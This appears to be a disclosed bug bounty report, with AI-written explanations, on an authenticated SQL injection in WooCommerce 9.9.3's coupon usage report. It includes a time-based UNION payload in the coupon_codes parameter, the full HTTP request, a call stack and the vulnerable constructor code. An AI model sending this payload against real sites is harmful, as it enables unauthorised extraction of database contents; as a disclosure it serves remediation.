Woocommerce SQL Injection in WC_Report_Coupon_Usage
The coupon_codes parameter on the WooCommerce coupon usage report page is passed into a SQL query without proper sanitisation, so a crafted value is interpreted as SQL. An authenticated user with access to reports could inject SQL and extract sensitive data from the database.
- Disclosed after 11 days
Summary:
A SQL injection vulnerability is found with required privililege is view reports. Endpoint: /wp-admin/admin.php?page=wc-reports&tab=orders&report=coupon_usage&coupon_codes=')+union+select+1,sleep(10)--+- Vuln param: coupon_codes
Platform(s) Affected:
Woocommerce plugin version 9.9.3
Steps To Reproduce:
- Login with a user, for simplification please use admin account (Sorry I havent check the required priviliege carefully)
- Change host, cookie in this request with the logged in cookie, notify the coupon_codes param contain SQLi payload
GET /wp-admin/admin.php?page=wc-reports&tab=orders&report=coupon_usage&coupon_codes=')+union+select+1,sleep(10)--+- HTTP/1.1
Host: <host>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie:<cookie of logged in session>
Connection: close
- Observe that the response is delayed which demonstrate the vulnerability exists/
Supporting Material/References:
I attached the screenshot of repeater with delay in response to demo the vulnerability, please check it. Callstack:
class-wc-admin-report.php:369, WC_Admin_Report->get_order_report_data()
class-wc-report-coupon-usage.php:449, WC_Report_Coupon_Usage->get_main_chart()
html-report-by-date.php:91, include()
class-wc-report-coupon-usage.php:153, WC_Report_Coupon_Usage->output_report()
class-wc-admin-reports.php:256, WC_Admin_Reports::get_report()
html-admin-page-reports.php:81, include_once()
class-wc-admin-reports.php:80, WC_Admin_Reports::output()
class-wc-admin-menus.php:348, WC_Admin_Menus->reports_page()
class-wp-hook.php:324, WP_Hook->apply_filters()
class-wp-hook.php:348, WP_Hook->do_action()
plugin.php:517, do_action()
admin.php:260, {main}()
The input is paramerter is coupon_codes which is not sanitized sufficiently in __construct method:
public function __construct() {
if ( isset( $_GET['coupon_codes'] ) && is_array( $_GET['coupon_codes'] ) ) {
$this->coupon_codes = array_filter( array_map( 'sanitize_text_field', wp_unslash( $_GET['coupon_codes'] ) ) );
} elseif ( isset( $_GET['coupon_codes'] ) ) {
$this->coupon_codes = array_filter( array( sanitize_text_field( wp_unslash( $_GET['coupon_codes'] ) ) ) );
}
}
Impact
SQL Injection in Select query so attacker can extract sensitive data or leverage with other vulnerabilities.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the coupon_codes value is only passed through sanitize_text_field, which strips tags but does not escape SQL, and is then concatenated into the report query instead of being bound as a parameter.
Impact
An attacker who can view reports could extract sensitive data from the database through the select query, or combine it with other vulnerabilities.
What the attacker needed
Authenticated user able to view reports; WooCommerce 9.9.3
How it was found
- Log in to WordPress, using an admin account for simplicity since the exact required privilege was not checked.
- Send a request to the coupon usage report endpoint with the session cookie and a coupon_codes value containing SQL.
- Observe that the response is delayed, which demonstrates the injection.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A report page lets staff filter coupon usage by typing coupon codes. The code that builds the database query pastes that input in without cleaning it properly, so a user can type database commands instead of a coupon code. The database then runs those commands, which can reveal data the user should not see.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.